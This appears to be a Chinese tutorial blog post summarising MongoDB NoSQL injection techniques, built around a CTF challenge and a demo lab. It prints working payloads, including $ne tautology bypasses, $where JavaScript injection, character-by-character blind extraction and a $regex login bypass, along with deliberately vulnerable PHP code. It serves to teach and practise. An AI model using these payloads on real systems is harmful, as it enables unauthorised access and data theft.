NoSQL注入总结(MongoDB)

遇到好几次Nosql注入的问题了,这次在BSidesTLV2018赛题环境中也遇到了一道Nosql注入的题,就趁着这一次总结一下。

NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。 通过减少关系约束和一致性检查,NoSQL数据库提供了更好的性能和扩展性。 然而,即使这些数据库没有使用传统的SQL语法,它们仍然可能很容易的受到注入攻击。 由于这些NoSQL注入攻击可以在程序语言中执行,而不是在声明式SQL语言中执行,所以潜在影响要大于传统SQL注入。

这上面是owasp对于NoSQL注入的描述,NoSQL注入由于NoSQL本身的特性和普通的SQL注入有所区别,本篇文章以MongoDB为例,总结一下NoSQL的注入方法。

MongoDB查询语法

着这里简单总结一下MongoDB查询语法,

命令行

db.collection.find(query, projection)
//query 可选使用查询操作符指定查询条件
//可选使用投影操作符指定返回的键查询时返回文档中所有键值 只需省略该参数即可默认省略
举例
//查找username为JrXnm的信息
db.user.find({'username':'JrXnm'}) 

mongodb条件操作符
比较 
    $gt : >
    $lt : <
    $gte: >=
    $lte: <=
    $ne : !=<>
    //查找用户名不为admin且password为123456的用户
    db.user.find({'username': {$ne:'admin'}, 'password': '123456'})

    /**
    * : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
    * : $ne { "age" : { "$ne" : 23}}
    * : $lt { "age" : { "$lt" : 23}}
    */

条件
    $in : in
    $nin: not in
    $all: all 
    $or:or
    $and: and
    $not: 反匹配(1.3.3及以上版本)
    $exist: 
    //如果记录中有包含该属性的全部返回
    db.collection.find({title:{$exists:true}});  
    //查找用户名为在这个数组中的用户信息
    db.user.find({'username': {$in: ['admin', 'JrXnm']}})

正则  
    模糊查询用正则式db.customer.find({'name': {'$regex':'.*s.*'} })
    正则的另一种写法db.user.find({'username':/jrx/i})

php 操作Mongodb

php 操作Mongodb与命令行操作差不多,以下只是简单介绍

// connect to mongodb
$m = new MongoClient();
// select a database
$db = $m->test;
// select collection
$collection = $db->users;

$cursor = $collection->find($data);
$cursor = $collection->findone($data);

搭建靶场

在查找资料中,发现了不少人都用了这个NoSQLInjectionAttackDemo github项目,可以很清楚的看到输入和注入语句的拼接,所以我也用这个测试。

搭建好php5.6、apache2.4环境后,安装mongodb以及mongo之于php的扩展。值得注意的是, 本次试验使用的是mongo.so扩展,还有一种mongodb.so扩展php适用语法不同,但注入原理是同样的

MongoDB注入分类

我在网上搜集到了两种分类方法。

第一种是按照语言的分类:php数组注入、js注入、mongo shell拼接注入。

第二种是按照攻击机制分类:永真式、联合查询、Js注入、盲注等。

注:很多NoSQL数据库允许执行数据内容中JavaScript,JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。

注入尝试

php永真式注入

$data = array(
    'username' =>  $_REQUEST['username'],
    'password' =>  $_REQUEST['password']
); 
$cursor = $collection->find($data);

这是通常php查询的方法,以数组的方式插入,没有字符串的拼接似乎我们没有办法注入。

但是由于php松散结构的特性,如果我们_GET传入的是数组那么,会自动被解析成字典。比如我们输入?username[$ne]=1&password[$ne]=1, 就会被解析成:

{
    'username': {
        '$ne': '1'
    },
    'password': {
        '$ne': '1'
    }
}

相当于查询username不等于1且password不等于1的用户,可以的话会返回所有用户信息。

Js注入($where 注入)

NoSQL经常需要JavaScript来处理一些事务等问题,也允许在查询的时候执行Js,如果此时有字符串拼接可以注入Js,那相当于可以直接在Mongo shell里执行代码了。

关键代码:

$collection = $db->users;
$query_body ="
        function q() {
            var username = '".$_REQUEST["username"]."';
            var password = '".$_REQUEST["password"]."';if(username == 'secret_user'&&password == 'secret_password') return true; else{ return false;}}
"; 
$result = $collection->find(array('$where'=>$query_body));
$count = $result->count();
if($count>0){
    echo $doc_succeed->saveHTML();
}

$where操作符表示执行其中的Js内容,返回True的话返回所有内容。

我们可以看到我们可以注入使得Js代码提前返回True

payload:?username=qwer&password= 1';return true;var qwer='1

盲注

大多数注入的情况下是无法回显的,在这里我们也介绍一下Mongodb的盲注

$m = new MongoClient();
//   echo "Connection to database successfully";
$news = $_REQUEST['news'];

// select a database
$db = $m->test;
//   echo "Database mydb selected";
$collection = $db->user;
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
    echo '该新闻存在';
}else{
    echo '该新闻不存在';
}
?>

this.news代表的查找Mongo数据库中test集合中的news,所以这里的js意味着查找是否有用户输入的news。

这意味着我们必须输入数据库集合中其中一个news的值才能返回'该新闻存在'。

我们可以使用如下payload:

?news=123' || '1'== '1使得query语句变成function() {if(this.news == '123' || '1'== '1') return true}

但是如果我们需要知道news的内容的话,我们还可以这样:

?news=123' || this.news[0] == 'A 来一个个的猜解,进行盲注。更多玩法就参照Js的语法啦。

Shell注入

php可以用函数直接执行mongo shell命令,如果存在这种操作,并且可以注入的话,会产生更大的危害。注入方法还是由于字符串不正当的拼接导致的,原理很相似这里就不介绍啦。

Example

<?php
error_reporting(0);
if(isset($_POST["username"]) && isset($_POST["password"])){
    if(login($_POST["username"],$_POST["password"])){
        die("Good, can you find out my password?");
    }
    die("username or password error!");
}
else{
    highlight_file(__FILE__);
}


function login($u,$p){
    $manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
    $q = '{"username": "'.$u.'", "password": "'.$p.'"}';
    $query = new MongoDB\Driver\Query(json_decode($q));
    $cursor = $manager->executeQuery('babyDB.user', $query);

    $data = [];
    foreach($cursor as $doc) {
        $data[] = $doc;
    }
    if (isset($data) && isset($data[0]->password)) {
        return true;
    }
    return false;
}

?>

username=1&password=","password":{"$regex": ""},"username":"admin